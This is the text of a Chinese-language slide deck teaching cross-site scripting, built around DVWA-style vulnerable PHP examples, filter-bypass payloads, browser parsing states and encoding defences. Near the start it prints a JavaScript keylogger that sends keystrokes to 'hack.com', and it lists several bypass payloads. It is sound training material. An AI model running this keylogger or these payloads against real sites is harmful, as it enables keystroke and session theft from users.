hrjk
TDOHacker 北區召集人兼創辦人 (slides.com/hrjk下的所有簡報皆採用創用 CC 姓名標示-非商業性-相同方式分享 4.0 國際 授權條款授權.)
Web Security
Cross-site scripting - XSS
m(_ _)m m(_ _)m m(_ _)m
耗時間
有相當機率不成功
幾乎沒有自動攻擊套件/工具
需要會基本 html、JS
後期需要很扎實的 html、JS
相當被動型的攻擊手法
遇到 Httponly、crossdomian.xml就掛掉
各大網站都有機會出現
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://hack.com/keylogger.php?c='+keys;
keys = '';
}, 1000);
<script>alert("xss")</script>
<script>alert(document.cookie);</script>
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
<SCRipt>alert(document.cookie);</ScripT>
<scri<script>pt>alert(document.cookie);</scr<script>ipt>
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
<img src=1 onerror=alert('xss')>
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
見框就插
改封包不可見的部分(隱藏欄位)
改URL參數
js分析
大小寫/編碼混淆
嵌入構造
<img src=1 onerror=alert('XSSStored')>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
(後端沒限制。)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
但是 Name 好像只過濾 <script> 呢
<sc<script>ript>alert("xss")</script>
<Script>alert("xss")</script>
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
<img src=1 onerror=alert(xss)>
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
DOM = Document Object Model
與 Server 端防護無關
利用 Javascript 去爬找整顆 DOM 樹,去尋找/修改/取代某節點的對象跟值
可能是反射型也可能是儲存型,視 DOM 所在位置而定。
HTML Parser
JS Parser
CSS Parser
HTML DEcoding
JS
DEcoding
CSS DEcoding
當你的 xss 插入點在 <script> 中時
在純 HTML (非 XHTML 時)
怎樣都不可能被執行
當你手動嘗試編碼繞過 filter 時
感覺解碼起來是對的
可是就是跑不動
1 + 1 * 3 = 4
1 + 1 * 3 = 6
1 + 1 * 3 = 4
1 + 1 * 3 = 6
1(int) +(option) 1(int) *(option) 3(int)
<img src = 1/>
(Data State)
< (Tag open state)
img (Tag name state)
src
=
1
/
> (Tag close state)
(Data State)
HTML編碼 只有在 Data State(標籤外部 or 標籤內的 text ) 和屬性值下才會解碼
遇到特殊模式時,Data State 下也不會進行解碼
Tag name/open/close state 三種狀態下也不會進行 HTML 解碼
<style>
<script>
<textarea>
<xmp>
以下 Tag 內的 text
就算是 Data state 也不進行 HTML 解析
<img src='x' onerror=alert("HrJ超帥 der")>
<img src='x' onerror='alert("HrJ超帥 der")'>
<img src='x' onerror=
alert("HrJ超帥 der")>
<img src='x' onerror=alert("HrJ超帥 der")>
<script>…${XSS payload}…</script>
直接插入到SCRIPT中
<!– ${XSS payload} –>
插入到HTML註解中
<div ${XSS payload}=”…”></div>
插入到HTML屬性標籤中
<div name=”…${XSS payload}…”></div>
插入到HTML標籤的屬性值中
<${XSS payload} href=”…”></a>
偽裝HTML標籤名稱
<style>…${XSS payload}…</style>
直接插入到CSS里
<img src=1 onerror=alert('xss')>
當找不到圖片名稱為 1 時,執行 error
<a href=javascrip:alert('xss')>s</a>
點擊時運行
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
利用iframe的scr來跳窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
避開 alert 來跳窗
<script>alert("HrJ超帥 der")</script>
<img src='x' onerror='alert("HrJ超帥 der")'>
<img src='x' onerror='alert(document.cookie)'>
<img src="${任意圖片網址}" onclick='alert("HrJ超帥 der")' />
<img src="${任意圖片網址}" onmousemove='alert("HrJ超帥 der")' />
' onerror='alert("HrJ超帥der")'>
');alert('HrJ超帥der
javascript: alert("HrJ超帥der");
https://xss-game.appspot.com/level6/frame#[url]
[url] = //www.google.com/jsapi?callback=alert
data:text/plain,alert('xss')
String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));
String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));
String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));
String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));
String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));
OWASP AntiSamp或者Java HTML Sanitizer
By hrjk